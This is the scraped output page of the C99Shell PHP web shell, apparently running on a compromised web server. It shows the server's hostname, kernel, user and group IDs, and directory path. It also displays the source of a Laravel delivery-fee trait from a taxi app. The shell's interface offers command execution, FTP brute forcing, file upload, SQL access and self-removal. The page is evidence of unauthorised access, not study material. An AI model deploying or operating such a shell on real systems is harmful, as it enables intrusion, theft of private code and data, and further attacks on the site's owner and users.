!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/app/Traits/Expedition/   drwxr-xr-x
Free 23.71 GB of 117.98 GB (20.1%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     HasComplexDelivery.php (2.64 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Traits\Expedition;

use 
App\Address;
use 
App\Models\SimpleDelivery;
use 
Illuminate\Support\Facades\Http;
use 
Illuminate\Support\Str;
use 
App\Order;


trait 
HasComplexDelivery
{
    public function 
expeditionRules(){
        return [
            
'pickup_address' => ['required'],
            
'delivery_address'=>['required']
        ];
    }

    public function 
setAddressAndApplyDeliveryFee(){
            if(
$this->request->has('phone')){
                
$this->order->phone$this->request->phone;
            }
            
$this->order->pickup_address=$this->request->pickup_address;
            
$this->order->delivery_address=$this->request->delivery_address;

            
$this->order->delivery_lat=$this->request->delivery_lat;
            
$this->order->delivery_lng=$this->request->delivery_lng;

            
$this->order->pickup_lat=$this->request->pickup_lat;
            
$this->order->pickup_lng=$this->request->pickup_lng;

            
//Short link to order
            
$random Str::random(8);
            if(
Order::where('md',$random)->first()!=null){
                
$random Str::random(8);
            }
            
$this->order->md=$random;
            
            
            
$distance=$this->calculateDistance
                
$this->order->delivery_lat
                
$this->order->delivery_lng,
                
$this->order->pickup_lat,
                
$this->order->pickup_lng,
                
config('settings.unit','K'));
            
$this->order->distance $distance;

            try {
                
//Try to find google calculated distance
                
$url='https://maps.googleapis.com/maps/api/distancematrix/json?departure_time=now&destinations='.$this->order->delivery_lat.','.$this->order->delivery_lng.'&origins='.$this->order->pickup_lat.','.$this->order->pickup_lng.'&key='.config('settings.google_maps_api_key');
                
$response Http::get($url);
                
$this->order->distance $response['rows'][0]['elements'][0]['distance']['value']/1000
            } catch (
\Throwable $th) {
                
//throw $th;
            
}

            if(
$this->vendor){
                
$this->order->delivery_price = ($this->order->distance*$this->vendor->getConfig('cost_per_kilometer',2))+$this->vendor->getConfig('cost_for_start',5);
            }else{
                
$this->order->delivery_price = ($this->order->distance*config('cockpit.cost_per_kilometer',2))+config('cockpit.cost_per_kilometer',5);
            }
            

            
$this->order->update();
    }

    public function 
setTimeSlot(){
        
$this->order->delivery_pickup_interval=$this->request->timeslot;
        
$this->order->update();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0055 ]--